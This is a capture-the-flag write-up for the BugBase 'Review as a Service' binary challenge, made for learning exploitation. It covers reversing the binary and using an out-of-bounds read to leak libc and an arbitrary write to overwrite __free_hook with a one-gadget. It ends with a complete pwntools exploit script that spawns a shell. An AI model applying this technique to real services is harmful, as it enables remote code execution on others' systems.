# CTF - BugBase - RaaS

## Background

First of all, I don't usually post write-ups for CTF challenges because there's often an abundance of existing write-ups for the challenges I *am* capable of solving (i.e. the most easy ones).

However, after lots of CTFs having to skip the binary challenges that include a `malloc` and `free` because I wouldn't even know what to do with the `libc` DLL, during the [BugBase CTF](https://twitter.com/BugBase/status/1615286120706899968?cxt=HHwWgIDUteWK0-osAAAA), I finally decided to take some time to learn about the heap and how to approach this sort of challenge.

In the end, I wasn't able to solve the challenge in time - and ironically, it's not even a heap exploitation - but I finally got around to learn the process of analysing this type of challenge.

And since that's something rarely found in any other writeup, I'll share all my steps here with the hope that it may prove useful to others.

## Review as a Service (RaaS) - 250pts

Below you can find the challenge files (courtesy of the challenge author @J43G3R):

{% file src="<https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FRVa8uGGak2gmEeillbVf%2FRaaS?alt=media&token=dc223a56-3eb9-4860-b817-dc76123d6e93>" %}
The challenge binary
{% endfile %}

{% file src="<https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FReivmPzOD8JwWqU6lWZ2%2Flibc.so.6?alt=media&token=59c808d6-5268-4cd1-b1b3-f732fad8f0b0>" %}
The libc library
{% endfile %}

## Getting Started

First things first, after running `strings` on the binary we'll simply execute it:

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FNwdqM1xIELIqInaEyBZq%2Fraas-menu-overview.png?alt=media&#x26;token=0436ff52-7c4c-48d4-85c3-2c7a2e2b8060" alt=""><figcaption><p>Executing RaaS</p></figcaption></figure>

Well, that didn't print out a flag. Instead, it appears that we can enter some strings before being dropped into a typical menu that allows us to view, edit and delete those strings. Finally, we can also exit after entering another string and rating the service.

Okay, time to whip out our favourite decompiler or disassembler, whatever floats your boat, and statically analyse the code of this program. I'll be using [Ghidra](https://ghidra-sre.org/) here.

## Reverse Engineering

{% hint style="info" %}
This write-up does not focus on reverse engineering, so I'll only highlight the interesting bits and pieces - the rest is left as an exercise for the reader.
{% endhint %}

After renaming and retyping some of the variables in the code, we can start to make sense of the variables that are placed on the stack during the `main` function. Ghidra displays them like this:

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FmvOpsEkUYclLnG61roep%2Fraas-ghidra-stack-variables.png?alt=media&#x26;token=eb89e69d-82e4-44f9-bd01-7053b2b35a59" alt=""><figcaption></figcaption></figure>

Note that Ghidra uses the annotation `Stack[-0x38]` to indicate the location of the variable right at the entry of the function. In this case, `reviewPtrArray` will be stored 56 (0x38) bytes below the stack pointer at the time of entering the `main` function. Keep in mind that the function starts by pushing the previous frame pointer onto the stack and uses the new stack pointer value as new frame pointer. This will be important later.

{% hint style="info" %}
Should any of this sound weird to you, feel free to check out my Buffer Overflow article where I explain the 32bit stack in more detail. Here we are on a 64 bit system but the concepts remain the same.
{% endhint %}

Not wasting any time, I have marked three variables that may seem important to us: a string array that seems to store review pointers, a 32 character string that holds the product names and a final string called `storeName`. They are contiguous on the stack and should we be able to overflow one of them we might control the other.

Analyzing the first few lines, we find the loop that let's us add 4 reviews right at the start.

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FLHQE1vii6Btg1h00Zhf6%2Fraas-ghidra-start.png?alt=media&#x26;token=0dcd03a2-f29b-4ace-a2bd-697751cccf37" alt=""><figcaption><p>Beginning of the program</p></figcaption></figure>

Okay, so the program is dynamically allocating 48 bytes for each review and stores the 4 names (each maximum 8 characters long) in the `productNameArray` filling out the 32 bytes we saw.

Next, we look at what we can do with the menu options. Here, two of them stand out:

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FXGvHqgItUS6kXxFxYLDG%2Fraas-ghidra-libc-leak.png?alt=media&#x26;token=57ae7590-690d-4270-ba5a-538e00e6183a" alt=""><figcaption><p>Option 1: view reviews</p></figcaption></figure>

Looking at menu option 1 (view), we can see that no index check is performed before our input is used to calculate the address of the string that will be printed out (right side, red box).

Now, being able to read memory potentially allows us to read addresses that will later help us to defeat ASLR. So we'll definitely keep that option in mind.

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FHGjmeaQYC0BsaT5qGioS%2Fraas-ghidra-write-memory.png?alt=media&#x26;token=b9647b56-cc18-4464-a42c-1a3a11db42d4" alt=""><figcaption><p>Option 2: edit reviews</p></figcaption></figure>

Option 2 (edit) looks almost identical to option 1. Only that here the index must be below 4 and instead of reading from the calculated address, we can write to it (`read(0,<address>,8)` reads 8 bytes from stdin and writes them to `<address>`).

Noticed how we can specify negative values for the `reviewIndex`? Basically, this enables us to write arbitrary 8 bytes to the memory below the `productNameArray`.

Well, what about the adjacent pointer, `storeName`? We saw that it's right below the `productNameArray` and if we pay attention to the last few lines of codes, we can see that we can extend that write to any address we want:

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FJSoy6xKTLJCty2WahfTZ%2Fraas-ghidra-storename.png?alt=media&#x26;token=30e33ff9-803a-48d5-9c4f-77b704da70da" alt=""><figcaption><p><code>read</code> 8 bytes from <code>stdin</code> and store them at the address saved in <code>storeName</code></p></figcaption></figure>

If we were to use menu option 2 to overwrite the `storeName` with an address, we could later use the line in the red box to write 8 bytes to that address, effectively allowing us to write 8 bytes to any address we want.

{% hint style="info" %}
Initially, this is where I would get stuck because I was unsure where I should write what and how I could turn any of that into RCE. Additionally, I hadn't even touched the LIBC DLL yet, what's up with that? Let's get into that.
{% endhint %}

## Exploitation

Alright, we've identified some flaws in the program - now let's get cracking. First of all, let's deal with the `libc.so.6`.

### Setting up libc

Whenever you write and compile a C program, chances are you're using some existing functions like `printf`. But you've never defined that function yourself, have you? That's because it's part of the C standard library, short: libc. This library will be [linked at runtime](https://www.cs.uleth.ca/~holzmann/C/system/libraries.html) by a run time linker, basically loading the library dynamically into memory so that the program can access the library functions.

As with every other program and library, there are different versions and implementations of libc out there. So when the challenge author hands out a specific C library, it's safe to assume that we'll need that exact libc version/implementation for our exploit.

{% hint style="info" %}
When we simply execute the binary, it automatically links against our installed standard library. In terms of functionality, this won't make a difference: `malloc` (also a libc function) will always reserve memory and `printf` will always print a string. But internal implementations and addresses of functions may very well differ.
{% endhint %}

Enough with the theory, what do we do with the library?

First of all, in order to analyse the binary together with the right library, we'd have to patch the binary to use a linker whose version matches the one of the library. Using `strings`, Google and [`patchelf`](https://github.com/NixOS/patchelf) that could be achieved manually. Then we could set the environment variable `LD_PRELOAD` to the location of our custom library and finally execute the program. One example for that process would be this (otherwise unrelated) [writeup](https://www.hackiit.cf/write-up-c0r0n4con-fwhibbit-ctf-prison-heap/).

*Fortunately*, we don't have to do these steps manually, as there's a tool that does all of that for us. However, I thought it may be good to know what that tool actually does.

Introducing `pwninit`:

{% embed url="<https://github.com/io12/pwninit>" %}
pwninit
{% endembed %}

Either download a release binary or build the tool from source and you are ready to go. Place the two challenge files into the same directory, and simply call `pwninit`.

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FlMf5MuNsGTTeLNpiXTDq%2Fraas-pwninit.png?alt=media&#x26;token=4c2015b0-37da-4404-bf8e-1b4f5d6f9145" alt=""><figcaption><p>Running <code>pwninit</code> to setup the correct libc</p></figcaption></figure>

Though `pwninit` comes with lots of options and flags, simply calling it in the directory with the libc library and binary will do all the heavy lifting for us and create a new binary for us called `RaaS_patched`.

Now let's see what's different. When we execute the patched binary, everythings looks the same. But if we look at the memory mappings for the patched binary, we can see that now the custom `libc` is being used instead of the default one.

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2F4CHx7EngVHbLMvn4EFXW%2Fraas-memory-maps.png?alt=media&#x26;token=666d2260-a409-4398-9ef7-b07d074f774d" alt=""><figcaption><p>Memory mapping of patched <code>RaaS</code> binary during runtime</p></figcaption></figure>

{% hint style="info" %}
Feel free to compare the output of the patched binary with the output of the original binary.
{% endhint %}

You may ask yourself, why we would need to leak an address if `/proc/<process pid>/maps` shows all the addresses (we can see the heap, the libc and the stack). Try to restart the binary and view the memory mapping again - the addresses will change, the direct result of ASLR.

Okay fine, we have libc setup - what's next?

### Leaking the libc base address

Since our final goal is remote code execution, we are looking for some way to redirect code execution and spawn a shell. However, we've seen that ASLR causes the address layout to be different each time, basically rendering hardcoded addresses useless.

If we could manage to extract any libc address from the program during runtime though, we could then simply work with offsets from that address to pinpoint gadgets and other useful locations in the library.

And that's exactly what we'll achieve with the vulnerability identified in the menu option 1. Quick recap, we can print a string value at any memory address from:

&#x20;`productNameArray + <input> * 8`

If we remember Ghidra's variable output, we saw that `productNameArray` is at `Stack[-0x58]` (or directly in the assembler code: `RBP-0x50`). And if you know your C calling conventions, you'll remember what address should be stored directly above the `RBP`: the return address of the current function.

{% hint style="info" %}
The `main` function in C is actually called by another function called `__libc_start_main` which, as you may have guessed, is a `libc` function. Hence, the return address of `main` will be an address pointing to the next assembler instruction after the `call`from within `libc`.
{% endhint %}

So, `productNameArray + 11 * 8` should print the return address (`11*8 = 88 = 0x58`).

{% hint style="success" %}
We can leak the return address with menu option 1 and entering 11 for the index.
{% endhint %}

{% hint style="info" %}
We'll put together the exploit only in the end to save some time and space.
{% endhint %}

But how do we get the actual `libc` base address from only that address now? Let's use `gdb`.

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FqmQCm5jMeVojYQFegCY5%2Fraas-disas-libc-main.png?alt=media&#x26;token=22367d15-5111-4e5a-a21e-af26d58efb82" alt=""><figcaption><p>Finding libc base with gdb</p></figcaption></figure>

First, we set a breakpoint in the main function and run the program. Immediately, we hit the breakpoint and look at the return address on the stack (`RBP+8`). That's the value we will leak with the menu option 1 later. We can then ask `gdb` to disassemble the code at that address and it turns out that we were right and the address does indeed belong to the function `__libc_start_main`.

Next, let's see the memory mapping of the program in `gdb`:

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2F8e2dDwlj7eEsXZPFPVU2%2Fraas-info-proc-mappings.png?alt=media&#x26;token=d8a128ab-5789-46df-87db-664d64fcd438" alt=""><figcaption><p>Viewing the memory mapping of <code>RaaS_patched</code> inside <code>gdb</code></p></figcaption></figure>

The `libc` is loaded into memory starting at address `0x7ffff7dd5000`. The return address points to `0x7ffff7df9083`. Therefore, subtracting the difference from the leaked address will give us the current `libc` base address. The difference is `7ffff7df9083 - 0x7ffff7dd5000 = 0x24083`.

{% hint style="success" %}
The offset from the leaked address to the `libc` base is 0x24083.
{% endhint %}

Alright, we got the `libc` base address, what now?

### Overwriting `__free_hook`

As we've found out earlier, we can overwrite any address we want with 8 bytes.&#x20;

One possible option is to overwrite a `libc` function hook. Basically, the `libc` version we're given provides several hooks that allow programmers to modify the behavior of existing functions. See this [man page](https://linux.die.net/man/3/__free_hook) for more details. Note that these are deprecated in newer versions of libc.

One of these hooks is called `__free_hook`, a function pointer that will be accessed whenever `free` is called. And this is exactly what happens right before our program closes (`free(storeName)`).

In `gdb` we can use `print $__free_hook` to print the address of that value.

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2F7wFfZm6vItM5yxskM2fW%2Fraas-gdb-free-hook.png?alt=media&#x26;token=9ea6ebc2-a4ce-402c-8514-14890c2a4ec5" alt=""><figcaption><p>Printing the address of <code>__free_hook</code></p></figcaption></figure>

Using the determined `libc` base address, we can calculate the offset of `__free_hook` to the base with: `0x7ffff7fc3e48 - 0x7ffff7dd5000 = 0x1eee48`.

{% hint style="success" %}
The offset from the `__free_hook` to the `libc` base is 0x1eee48.
{% endhint %}

On to the final part, what are we going to write to that address?&#x20;

Introducing [OneGadget](https://github.com/david942j/one_gadget). In essence, OneGadget allows us to find sequences of useable assembler instructions that will do all the work for us and spawn a shell. This is possible, because the `libc` library may very well already contain code for this sort of action.

Once we installed it, we can run it on our given library:

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FTaH68qTvk85zuu3MVYrT%2Fraas-one-gadget.png?alt=media&#x26;token=9008ee0c-64d8-4d14-9ca4-c9391f42af8c" alt=""><figcaption><p>Finding one-gadgets in <code>libc</code></p></figcaption></figure>

OneGadget will display the offsets from the `libc` base and also show constraints for each gadget. So before we are going to use one of them, let's see which one matches all constraints.

For this purpose, we add a breakpoint right before the final`free` is executed and analyse the registers using `gdb`:

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FdnHDca8cCWQk5CaLpvPD%2Fraas-gadget-constraints.png?alt=media&#x26;token=f9e52779-1ebb-438a-9726-35799d33ebd6" alt=""><figcaption><p>Analyzing gadget constraints with <code>gdb</code></p></figcaption></figure>

As we can see, `r12` contains some value instead of NULL, meaning the constraints for the first gadget are not met. However, we fulfill the criteria for the other two gadgets, so let's try using the one-gadget with an offset of `0xe3b01`.

{% hint style="info" %}
Though 0xe3b04 appears to be a match as well, it did not work for me. So keep in mind to try different gadgets should the final shell fail (or dive deeper to reliably validate the constraints).
{% endhint %}

{% hint style="success" %}
We've successfully identified a suitable one-gadget at offset 0xe3b01.
{% endhint %}

So the idea of our final exploit becomes:

1. Leaking an address from the stack to calculate the `libc` base address
2. Overwrite a pointer on the stack to point to the `__free_hook` pointer
3. With the final `read` operation we can write the address of a one-gadget to the `__free_hook` pointer
4. When the final `free` is called, execution will continue at the one-gadget and spawn a shell

### Writing the exploit

{% hint style="info" %}
This writeup focused on setting up and analyzing a binary challenge with a custom libc version. Writing the exploit is now just a matter of stitching all the pieces together using Python and [`pwntools`](https://github.com/Gallopsled/pwntools).&#x20;
{% endhint %}

```python
#!/usr/bin/env python3

from pwn import *

LIBC_LEAK_OFFSET = 0x24083
FREE_HOOK_OFFSET = 0x1eee48
ONEGADGET_OFFSET = 0xe3b01

def view_review(p, id):
	p.recvuntil(b'choice>> ')
	p.send(b'1\n')
	p.recvuntil(b'[0-3]: ')
	p.send(str(id).encode() + b'\n')
	return u64(p.recvuntil(b'No such product')[15:21]+b'\x00\x00')

def edit_review(p, free_hook):
	p.recvuntil(b'choice>> ')
	p.send(b'2\n')
	p.recvuntil(b'[0-3]: ')
	p.send(b'-1\n')
	p.recvuntil(b'Review\n')
	p.send(b'1\n')
	p.recvuntil(b'name: ')
	p.send(free_hook)

def call_exit(p, one_gadget):
	p.recvuntil(b'choice>> ')
	p.send(b'4\n')
	p.recvuntil(b'store: ')
	p.send(one_gadget)
	p.recvuntil(b'[1-5]: ')
	p.send(b'5\n')

def main():
	p = process('./RaaS_patched')
	# in a CTF connect to the real target with remote(ip, port)

	for _ in range(4):
		p.recvuntil(b'review \n')
		p.send(b'a\n')
		p.recvuntil(b'name: ')
		p.send(b'b\n')

	# leak a libc address
	libc_leak = view_review(p, 11)

	# calculate real address
	libc_base = libc_leak - LIBC_LEAK_OFFSET
	free_hook = libc_base + FREE_HOOK_OFFSET
	onegadget = libc_base + ONEGADGET_OFFSET

	# write address of __free_hook to char *storeName
	edit_review(p, p64(free_hook))

	# write onegadget to __free_hook
	call_exit(p, p64(onegadget))

	# wait for shell
	p.interactive()

	p.close()

if __name__ == '__main__':
	main()
```

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FFhYyOam0l88qfA3Ojsjs%2Fraas-final-exploit.png?alt=media&#x26;token=0348d247-3440-44b6-a03d-f1d448ab8b45" alt=""><figcaption><p>Successful exploitation of <code>RaaS</code></p></figcaption></figure>

{% hint style="success" %}
We've successfully exploited "Review as a Service" by leaking a libc address and overwriting the `__free_hook`, ultimately gaining RCE.
{% endhint %}

## Final Thoughts

Alright , this concludes our journey into my first binary almost-heap challenge. In the end, we did not exploit the heap at all but I believe that the knowledge gained during this challenge can easily be transferred to get started with other binary and actual heap challenges. The setup and analyzing process remains mostly the same and knowledge of libc is generally required in order to understand and exploit the heap.

If you want to learn about the heap, I can recommend the [Azeria Labs articles](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) but as always there will be a lot of googling and stitching infomation together from various resources, such as my own [heap layout infographic](https://ccat.gitbook.io/cyber-sec/infographics#the-basic-heap-layout) (shameless self plug).

Finally, I want to give a **huge shoutout** to the challenge author **@J43G3R** over at the BugBase discord, who supported me even after the CTF had ended by answering my questions and sharing his valuable knowledge!

If you got any feedback or questions, feel free to reach out via discord or smash one of the smiley faces below.
